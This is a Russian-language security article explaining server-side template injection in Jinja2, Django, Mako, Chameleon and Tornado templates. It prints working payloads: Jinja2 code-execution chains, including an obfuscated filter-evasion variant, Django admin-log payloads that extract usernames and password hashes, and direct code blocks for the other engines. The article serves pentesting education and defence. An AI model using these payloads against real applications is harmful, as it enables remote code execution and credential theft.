Как стать автором
Обновить
146.28

SSTI в Python под микроскопом: разбираем Python-шаблонизаторы

Уровень сложностиПростой
Время на прочтение15 мин
Количество просмотров2.1K

Привет, Хабр! Меня зовут Сергей Арефьев. Я специалист отдела анализа защищенности приложений в компании BI.ZONE. В этой статье хочу подробно раскрыть тему SSTI (server-side template injection) в контексте Python 3. Сразу оговорюсь, что это не какой-то новый ресерч с rocket-science-векторами. Я лишь взял уже известные PoC и посмотрел, как и почему они работают, для более полного понимания вопроса.

Я рассмотрю, какой импакт атакующие могут получить, используя SSTI в пяти самых популярных шаблонизаторах для Python: Jinja2, Django Templates, Mako, Chameleon, Tornado Templates. Кроме того, немного углублюсь в работу известных PoC. Я поделюсь опытом и вариантами улучшения тех PoC, которые могут быть полезны при тестировании.

Несколько слов о шаблонизаторах

Начнем с самого базового: что такое шаблонизаторы, для чего они применяются и где их можно встретить.

Шаблонизаторы — это инструменты для динамической генерации текстовых данных на основе заранее заданных шаблонов. Чаще всего их можно было встретить в веб-приложениях, где они использовались для рендеринга HTML-страниц на сервере. Но в последние несколько лет эта концепция стала менее популярной, уступив место клиентскому рендерингу, где HTML формируется непосредственно в браузере с помощью JavaScript-фреймворков, таких как React, Vue или Angular. И все же шаблонизаторы по-прежнему применяют в самых разных задачах. Вот лишь некоторые из них:

  • Генерация автоматической email-рассылки.

  • Генерация конфигурационных файлов.

server {
    listen 80;
    server_name {{ domain }};
    
    location / {
        proxy_pass http://{{ backend_host }}:{{ backend_port }};
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
  • Генерация отчетов.

# Network Scan Report - {{ date }}
**Scanned by:** {{ user }}  
**Networks Scanned:** {{ total_networks }}  
**Total Hosts:** {{ total_hosts }}  
**Critical Vulnerabilities:** {{ critical_vulns }}  

{% for network in networks %}
### {{ network.address }}/{{ network.mask }} ({{ network.company }})
{% for host in network.hosts %}
- **{{ host.ip_address }}**: {{ host.open_ports | join(', ') }}
  {% for service in host.services %}
  - {{ service.name }} ({{ service.port }}/{{ service.protocol }})  
    {% if service.vulnerabilities %}
    ⚠ **Vulns:** {% for vuln in service.vulnerabilities %}{{ vuln.name }} ({{ vuln.severity }}) {% endfor %}
    {% endif %}
  {% endfor %}
{% endfor %}
{% endfor %}

Generated by system.

По моему опыту, сейчас шаблонизаторы чаще всего используются  для email-рассылок. Другие примеры применения шаблонизаторов слишком специфичны, чтобы встречаться в большом количестве приложений. Но все же шаблонизаторы живы. Поэтому даже сейчас, когда кто-то считает уязвимость SSTI вымершим видом, мы можем обнаружить ее как в рамках багбаунти, так и во время проектов по пентесту.

Но прежде, чем углубляться в SSTI, давайте абстрагируемся. Не секрет, что самая большая угроза, которую может создать уязвимость, — RCE (удаленное исполнение кода). Так как Python-шаблонизаторы под капотом, как ни странно, используют Python, рассмотрим, как мы можем выполнить команду id в shell с помощью этого языка.

import os; os.system('id')
import os; os.execvp('id', ['id'])
import subprocess; subprocess.run(['id'])
import ctypes; print(ctypes.CDLL(None).system(b'id'))
import importlib; importlib.import_module('subprocess').run(['id'])
import sys; sys.modules['os'].system('id')

Что общего у всех этих примеров? Все они так или иначе требуют загрузки дополнительных модулей, чтобы вызвать команду в shell. Мы можем использовать, например, модуль subprocess, или os, или любой другой, который в конечном итоге будет обращаться к subprocess.

Интересный факт: os.system также под капотом использует subprocess, а вот os.execvp — уже нет.

Еще один вариант — использование ctypes для загрузки C-библиотек. С его помощью можно подгрузить libc и уже через нее вызвать команду id в shell.

Но, чтобы выполнить это, нам нужно как-то получить доступ к модулям subprocess, ctypes или тем, которые используют эти модули в своем подкапотном коде. Стоит держать это в голове, а теперь давайте вернемся к SSTI.

В чем заключается сама уязвимость? Шаблонизаторы обрабатывают управляющие конструкции и теги, которые часто могут содержать выражения, выполняемые в контексте шаблона. В некоторых случаях эти выражения могут включать код — в нашем случае Python-код, который будет разобран и выполнен шаблонизатором.

Уязвимость возникает, когда злоумышленник получает возможность внедрить свои данные в шаблон, который будет обработан шаблонизатором. Это может, например, произойти, если разработчик решит передавать данные не через контекст, а просто добавлять их с помощью конкатенации с шаблоном:

error_message = '<div class="{{ css_class }}"><p>Found invalid parameters: ' + ', '.join(parametrs) + '</p></div>'
output = Template(error_message)
context = Context({"css_class": css_class})
output.render(context)

В этом случае злоумышленник может внедрить свои управляющие конструкции в шаблон, который впоследствии будет обработан шаблонизатором. В теории это позволит выполнить произвольный код. А теперь перейдем к конкретным примерам.

Jinja2 — самый популярный шаблонизатор

Начнем с самого популярного шаблонизатора в Python — Jinja2.

Многие знают, что для проверки уязвимости можно использовать тег {{ 7*7 }}. Если в ответе мы получим 49, значит, наш ввод был обработан как часть шаблона и успешно выполнен. Но что делать дальше? Как мы рассмотрели ранее, нам нужно как-то получить доступ к модулю, который поможет выполнить код в контексте shell. Но вот незадача: Jinja2 не имеет управляющей конструкции, которая позволяла бы выполнять произвольный Python-код.

Если взглянуть на документацию, становится понятно, что наиболее подходящая конструкция для нас, как атакующих, будет следующая: {{ }}. Данная конструкция позволяет работать с простыми типами данных, выполнять математические и логические операции, обращаться к объявленным переменным, а также их свойствам и методам, если они доступны в контексте шаблона. Что значит «доступны в контексте шаблона»? По умолчанию Jinja2 запускает шаблоны в своей песочнице, которая имеет ограниченную область видимости памяти. Это означает, что мы не сможем получить доступ к переменным, которые не были явно объявлены в шаблоне или переданы в него через контекст, даже если это глобальные переменные языка Python (например,  __main__ или __builtins__).

Так как же нам тогда получить доступ к желаемому модулю и выполнить произвольный код? Существует несколько методов. Давайте разбираться.

Использование jinja2.runtime.Undefined

При работе с Jinja2 можно заметить одну интересную особенность. Если попытаться обратиться к необъявленной переменной, приложение не упадет, а после рендеринга на месте этой конструкции будет просто подставлена пустая строка. Это сделано для удобства при разработке приложения и реализуется при помощи класса jinja2.runtime.Undefined. Так, при обращении к необъявленной переменной ей присваивается значение объекта <class 'jinja2.runtime.Undefined'>.

Это можно использовать для выхода в глобальную область видимости. Для этого мы обращаемся к конструктору класса (__init__), что позволяет выйти за пределы текущей области. Затем используем атрибут __globals__, который представляет собой словарь глобальных переменных функции. Оказавшись в глобальной области видимости, мы можем получить доступ к атрибуту __builtins__, который содержит ссылки на встроенные функции, классы и исключения Python.

Благодаря __builtins__ можно использовать встроенные функции, такие как import, exec и eval, что в конечном итоге позволяет выполнить произвольный код.

PoC 1

{{ pwned.__init__.__globals__.__builtins__.exec('import subprocess; subprocess.run([\"python3\", \"--version\"], stdout=1)') }}

PoC 2

{{ pwned.__init__.__globals__.__builtins__.__import__('os').popen('python3 --version').read() }}

Использование cycler/joiner/namespace

Несмотря на то что область видимости в Jinja2 ограничена, в ней все же есть несколько доступных глобальных функций. Среди них можно выделить cycler, joiner и namespace, которые представляют собой классы Jinja2.

Используя их, мы можем, как и с <class 'jinja2.runtime.Undefined'>, выйти в глобальную область видимости. В этом случае дополнительным преимуществом будет то, что мы попадем в область видимости родительского класса (namespace, joiner или cycler), в глобальной области видимости которого уже импортирован модуль os. Это позволяет обращаться к нему напрямую.

cycler PoC

{{ cycler.__init__.__globals__.os.popen('python3 --version').read() }}

joiner PoC

{{ joiner.__init__.__globals__.os.popen('python3 --version').read() }}

namespace PoC

{{ namespace.__init__.__globals__.os.popen('python3 --version').read() }}

Но мы так же, как и в предыдущем случае, можем использовать __builtins__:

{{ cycler.__init__.__globals__.__builtins__.exec('import subprocess; subprocess.run(\"echo hacked\", shell=True, stdout=1)') }}

Использование self._TemplateReference__context

Кроме того, в шаблоне Jinja2 мы можем обратиться к self, который ссылается на сам шаблон. В этом случае Jinja2 под капотом создаст объект TemplateReference, представляющий этот шаблон.

Через этот объект также можно получить доступ к контексту шаблона.

Это можно использовать в случаях, когда прямой вызов cycler, joiner или namespace заблокирован, например, из-за ограничений WAF.

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('python3 --version').read() }}

Зная это, можно значительно обфусцировать полезную нагрузку за счет использования встроенных фильтров Jinja2. Это позволяет полностью избавиться от ключевых слов вроде cycler. Долго останавливаться на обфускации не буду, иначе статья будет слишком длинной. Просто приведу один пример, в котором используется сразу несколько техник:

{% set a = "abcdefghijklmnopqrstuvwxyz" %}{% set s = self|attr("_Templ"+"ateRefere"+"nce__con"+"text") %}{% set g = s["relcyc"[::-1]]|attr("\x5f"*2+"tini"[::-1]+"\x5f"*2)|attr("\x5f\x5fglobals\x5f\x5f") %} {{ g[a[14]+a[18]]|attr(a[15]+a[14]+a[15]+a[4]+a[13])("pYtHoN3 --vErsION".lower())|attr("read")() }} 

И в чуть более читаемом виде:

{% set alpha = "abcdefghijklmnopqrstuvwxyz" %}
{% set templateRef = "_Templ"+"ateRefere"+"nce__con"+"text" %}
{% set cycler_ = "relcyc"[::-1] %}
{% set init = "\x5f"*2+"tini"[::-1]+"\x5f"*2 %}
{% set globals = "\x5f\x5fglobals\x5f\x5f" %}
{% set os = alpha[14] + alpha[18] %}
{% set popen = alpha[15]+alpha[14]+alpha[15]+alpha[4]+alpha[13] %}
{% set command = "pYtHoN3 --vErsION".lower() %}
{% set part1 = self|attr(templateRef) %}
{% set part2 = part1[cycler_]|attr(init)|attr(globals) %}
{{ part2[os]|attr(popen)(command)|attr("read")() }}

Использование __subclasses__

Но что делать, если получить доступ к глобальной области видимости не удается, а иметь доступ к модулю, который поможет исполнить код, очень хочется? В этом случае можно воспользоваться механизмами наследования в Python и классом <class 'object'>.

Ниже немного вводных.

__class__ — это дескриптор, доступный у любого объекта в Python. Он ссылается на родительский класс объекта. Например, ''.__class__ вернет <class 'str'>.

__mro__ (method resolution order) — атрибут класса, содержащий кортеж с родительскими типами, расположенными в порядке их разрешения в цепочке наследования (документация).

Департамент маркетинга > SSTI в Python под микроскопом: разбираем Python-шаблонизаторы > image-2025-3-6_12-59-57.png

Так как все объекты в Python наследуются от базового класса <class 'object'>, этот класс всегда будет последним в этом кортеже mro. Значит, мы можем получить к нему доступ через __mro__[-1].

Еще один интересный магический метод — __subclasses __(). Он возвращает список всех непосредственных подклассов данного класса. Применив его к <class 'object'>, мы фактически получим список всех классов, доступных интерпретатору Python. Важно отметить, что мы получим только те классы, которые напрямую наследуются от object, то есть не имеют других родительских классов.

Объединив все вышесказанное, можно получить доступ к любому классу, доступному текущему интерпретатору Python. Для получения RCE нас, конечно же, в первую очередь интересует класс subprocess.Popen.

На этом этапе у людей, которые просто нагуглили PoC, скопировали и вставили его, могут возникнуть проблемы. Дело в том, что индекс нужного класса в примере из интернета может отличаться от индекса в тестируемой системе. Индексация подклассов в целом может различаться от запуска к запуску, а также варьироваться в зависимости от версии Python и установленных зависимостей. Поэтому в большинстве случаев придется подбирать нужный индекс вручную.

Например, в представленном ниже PoC он расположен по индексу 369, но в вашем приложении он может иметь совсем другой индекс.

{{ ''.__class__.__mro__[1].__subclasses__()[369](['id'] , stdout=-1).stdout.read() }}

Также можно использовать и другие классы, отличные от subprocess.Popen. Главное, найти подходящий гаджет. Например, для выполнения кода также подойдет <class 'code.InteractiveInterpreter'>:

{{ ''.__class__.__mro__[-1].__subclasses__()[368]().runsource(source='import os; os.system(\"echo /tmp/pwned\")') }}

Кроме того, если subprocess.Popen по какой-либо причине недоступен, а подходящий гаджет найти не удалось (или просто лень), всегда можно добраться до глобальной области видимости любого другого класса через __init__.__globals__.__builtins__ и уже оттуда импортировать нужный модуль (например, os) и выполнить код:

{{ ''.__class__.__mro__[-1].__subclasses__()[300].__init__.__globals__.__builtins__.__import__('os').system('python3 --version') }}

Как мы увидели, в Jinja2 существует множество способов получить RCE через SSTI. А что насчет других шаблонизаторов?

Django Templates — шаблонизатор маминой подруги

Если поставить рядом Jinja2 и встроенный шаблонизатор Django, то можно сразу заметить, кто настоящий гигачад. Отмечу, что речь здесь в первую очередь о построении безопасности.

Да, у Django Templates гораздо меньшая функциональность, он поддерживает меньше фильтров и ограничивает возможности шаблонов. На первый взгляд это может показаться минусом для разработчиков, но с точки зрения безопасности такой подход оправдан. Ограниченная (в разумных пределах) функциональность скорее плюс, чем минус, поскольку она значительно усложняет потенциальному злоумышленнику эксплуатацию уязвимостей. Да и со своей ролью шаблонизатора Django Templates справляется на все 100%. Но что же там такого? Давайте разбираться.

Механизмы защиты 

Первое препятствие, с которым столкнется атакующий, — стандартная проверка {{ 7*7 }} не сработает. Дело в том, что Django не позволяет выполнять арифметические операции в шаблоне.

А значит, для идентификации уязвимости нужно будет использовать другую управляющую конструкцию. И какой-нибудь DAST, в котором не будет нужного правила, может легко пропустить уязвимость.

Кроме того, Django Templates запрещает доступ к методам и свойствам, начинающимся с _.

В Python такие методы традиционно считаются внутренними (private или protected) и предназначены для инкапсуляции, предотвращая их прямой вызов извне класса. Однако в самом языке это лишь условность, так как строгой инкапсуляции в Python нет и любой разработчик при желании может обратиться к таким методам извне.

В Django Templates решили, что внутренние методы все же должны оставаться внутренними, и запретили доступ к таким атрибутам в шаблонах. Поэтому попытка обратиться к методам или атрибутам, которые начинаются с подчеркивания, приведет к ошибке TemplateSyntaxError.

Если первое ограничение лишь немного усложняло идентификацию уязвимости и, возможно, затрудняло обфускацию пейлоада, то второе уже существенно ограничивает возможности атакующего. Из-за этого ограничения невозможно использовать векторы, описанные для Jinja2. А значит, критичность обнаруженной уязвимости значительно снижается.

Но на этом ограничения не заканчиваются. Разработчики Django Templates также ограничили возможность вызывать методы объектов с помощью ().

Тем не менее в коде шаблонизатора проверяется, можно ли вызвать указанную переменную. Если это возможно, будет произведена попытка вызвать ее без дополнительных аргументов. Это сделано для того, чтобы в шаблонизаторе можно было использовать геттер-функции. В свою очередь, для атакующего это означает, что он сможет вызвать только те методы, которые не требуют аргументов.

Учитывая все вышеупомянутые ограничения, выполнить RCE с помощью SSTI в Django не удастся. Поэтому нам, как атакующим, предстоит собрать полезную нагрузку, которая обеспечит какой-то вменяемый импакт.

debug 

Если посмотреть на доступные управляющие конструкции в документации, одна из первых, которая бросается в глаза, — debug.

Ее использование позволяет получить информацию о текущем контенте, а также об импортированных модулях, что может быть полезно при первоначальной разведке. Хотя импакт и невелик, но это уже кое-что.

Есть одно но: если в настройках Django установлено DEBUG = False, то мы ничего не получим в ответ. Это значительно снижает шанс эксплуатации в продакшен-системах, так что продолжаем искать другие возможности.

load

Следующая конструкция на примете — load. Она позволяет импортировать файл с дополнительными тегами, чтобы в дальнейшем можно было использовать их в шаблоне.

Рассмотрим теги, которые содержатся в самом Django и доступны для импорта по умолчанию:

  • admin_list — содержит теги для отображения списка объектов в админке.

  • admin_modify — содержит теги для отображения информации о модификации.

  • admin_urls — содержит тег для генерации URL для административных действий с объектами.

  • cache — предоставляет доступ к механизму кеширования в Django.

  • i18n l10n tz — используется для перевода и форматирования строк и локализации, локализации времени.

  • log — используется для работы с информацией о логах системы.

  • static — используется для работы со статическими файлами в шаблонах.

К сожалению, все методы в admin_* требуют, чтобы при обращении к ним был передан определенный контекст. Значит, в подавляющем большинстве случаев их использование невозможно.

Самым интересным для нас, как атакующих, остается модуль log. Рассмотрим подробнее, что он предоставляет. Модуль содержит в себе тег get_admin_log.

Этот тег позволяет получить указанное количество объектов LogEntry, причем в отличие от методов admin_* здесь не нужно передавать определенный контекст.

Посмотрим, что представляет собой LogEntry.

Из интересного можно заметить, что поле user является внешним ключом для таблицы auth_user. А это значит, что мы сможем обращаться ко всем полям вложенной сущности, используя механизмы ORM, доступные в Django.

Так, например, в интернетах можно найти полезные пейлоады, позволяющие получить имя пользователя и хеш пароля того, кто совершил записанное в логах действие:

{% load log %}{% get_admin_log 10 as log %}{% for e in log %} {{e.user.get_username}} : {{e.user.password}}{% endfor %}

Уже неплохо, но можно ли получить больше данных? Давайте разберемся. Поскольку эксплуатация этой уязвимости основана на механизмах ORM, логично сначала изучить схему базы данных, чтобы понять, к каким данным у нас есть доступ.

Ключевой момент: мы можем дотянуться до всех связанных сущностей.

Например, в моем тестовом приложении можно получить связанные с пользователем компании, сети, относящиеся к этим компаниям, хосты, связанные с сетями, и т. п.:

{% load log %}{% get_admin_log 1 as log %}{% for e in log %}
{{ e.user.owned_companies.all.first.name }}
{{ e.user.owned_companies.all.first.networks.all.first.address }}
{% endfor %}

Результат работы:

Важно: модели компаний, сетей, хостов, сервисов и уязвимостей в данном приложении были добавлены при разработке. В тестируемом вами приложении могут быть другие сущности и связи. Я лишь хочу показать, что, используя механизмы ORM, можно получить данные, которые не должны быть нам доступны даже при условии, что у нас есть доступ к логам.

Стало еще лучше, но есть несколько проблем. Первая: нам нужно знать названия связей. То есть, чтобы воспользоваться уязвимостью в полной мере, нужен доступ к исходному коду (white box) либо хороший словарь для подбора названий связей и немного удачи. Вторая проблема: пока мы можем получать данные, непосредственно связанные с пользователем, который совершил записанное в логе действие.

Как расширить наши доступы? На помощь придут связи в БД many-to-many. При обращении к связанным через many-to-many полям можно обойти ограничение и получить гораздо больше информации.

Например, можно просто получить пользователя, связанного с событием в логе. Но есть вариант пойти дальше и:

  1. Получить пользователя, связанного с событием в логе.

  2. Получить список всех разрешений, доступных пользователю.

  3. Взять одно из разрешений.

  4. Получить список всех пользователей, кто имеет это разрешение.

В результате вместо одного пользователя мы получим всех, кто имел разрешение, которое было у исходного пользователя.

Аналогичный подход применим и к группам, а также к любым другим many-to-many-связям.

Используя вышеописанное, можно значительно улучшить первоначальный пейлоад и получить гораздо больше сведений:

{% load log %}{% get_admin_log 1000 as log %}{% for e in log %}{% for perm in e.content_type.permission_set.all %}
Permission: {{ perm.name }}
    Users with permission: {% for user in perm.user_set.all %}
        {{ user.get_username }} : {{ user.password }}{% endfor %} 
    Groups which contains this permission:
        {% for group in perm.group_set.all %}{% if group %}{{ group.name }}
            Gruop {{ group.name }} has permissions:{% for perm in group.permissions.all %}
                {{ perm.name }}{% endfor %}
            Users in {{ group.name }} group: {% for user in group.user_set.all %}
                {{ user.get_username }} : {{ user.password }}{% endfor %}{% endif %}
        {% endfor %}
    {% endfor %}
{% endfor %}
Департамент маркетинга > SSTI в Python под микроскопом: разбираем Python-шаблонизаторы > image-2025-3-6_13-7-14.png

SSTI --> client-side

Если не удается извлечь значительное количество данных, можно использовать SSTI для атаки на пользователя с помощью XSS или cache poisoning.

Так, для этого можно применить фильтр safe либо разработать атаку с подменой кеша, используя тег. Долго останавливаться на этом не хочу. По моему мнению, это все-таки не то, что злоумышленник или пентестер хочет получить, имея SSTI.

Как мы увидели, шаблонизатор Django обладает значительно более жесткими механизмами защиты, что усложняет постэксплуатацию уязвимости. Тем не менее нам удалось извлечь немало данных из базы, что уже довольно хороший результат.

Мы рассмотрели два самых популярных шаблонизатора на Python. Теперь давайте взглянем, как обстоят дела в менее известных, но все же используемых альтернативах.

Mako / Chameleon / Tornado Templates — когда важна функциональность

А дела обстоят не очень. На контрасте с Django ни Mako, ни Chameleon, ни Tornado Templates не только не имеют каких-то дополнительных механизмов безопасности (выполнение арифметических операций, обращение к protected-методам и т. п.), но и в целом не ограничивают область видимости памяти. Скорее всего, это сделано ради повышения функциональности и гибкости шаблонов. Но, как мы уже знаем, чем больше возможностей, тем выше риски для безопасности.

Так, например, злоумышленник без проблем может напрямую обратиться к exec/eval/open или любой другой встроенной функции Python.

Но это просто изобретение велосипеда. Потому что все эти шаблонизаторы by design имеют теги, позволяющие выполнять внутри произвольный Python-код.

Mako

Так, для выполнения Python-кода в Mako можно использовать блоки <%! %>.

То есть для RCE достаточно передать в шаблон:

<%! import os; os.system("python3 --version")%>

Chameleon

У Chameleon также есть блоки, содержимое которых будет исполнено как Python-код. Правда, в этом случае блок должен иметь вид <?python ... ?>.

Так, для RCE можем использовать полезную нагрузку вида:

<?python import os; os.system("python3 --version")?>

Tornado Templates

В отличие от Mako и Chameleon здесь нет специального блока для Python-кода. Однако разработчики зачем-то решили сделать блок, позволяющий импортировать любой Python-модуль прямо в шаблон.

Решение, на мой взгляд, спорное, но оно также позволяет нам без особых усилий получить выполнение произвольного кода:

{% import os %}{{os.system("python3 --version")}}

Итог

Какие выводы можно сделать? Никогда не интерпретируйте пользовательский ввод как часть шаблона. Не стоит полагаться исключительно на встроенные механизмы безопасности фреймворков. Даже в Django, который, на первый взгляд, обладает множеством защитных механизмов, наличие уязвимости может привести к серьезным последствиям. Проверяйте систему вручную и анализируйте возможные векторы атак. Надеюсь, статья помогла вам глубже разобраться в теме и взглянуть на безопасность шаблонизаторов Python под другим углом.

Теги:
Хабы:
+13
Комментарии0

Публикации

Информация

Сайт
bi.zone
Дата регистрации
Численность
501–1 000 человек
Местоположение
Россия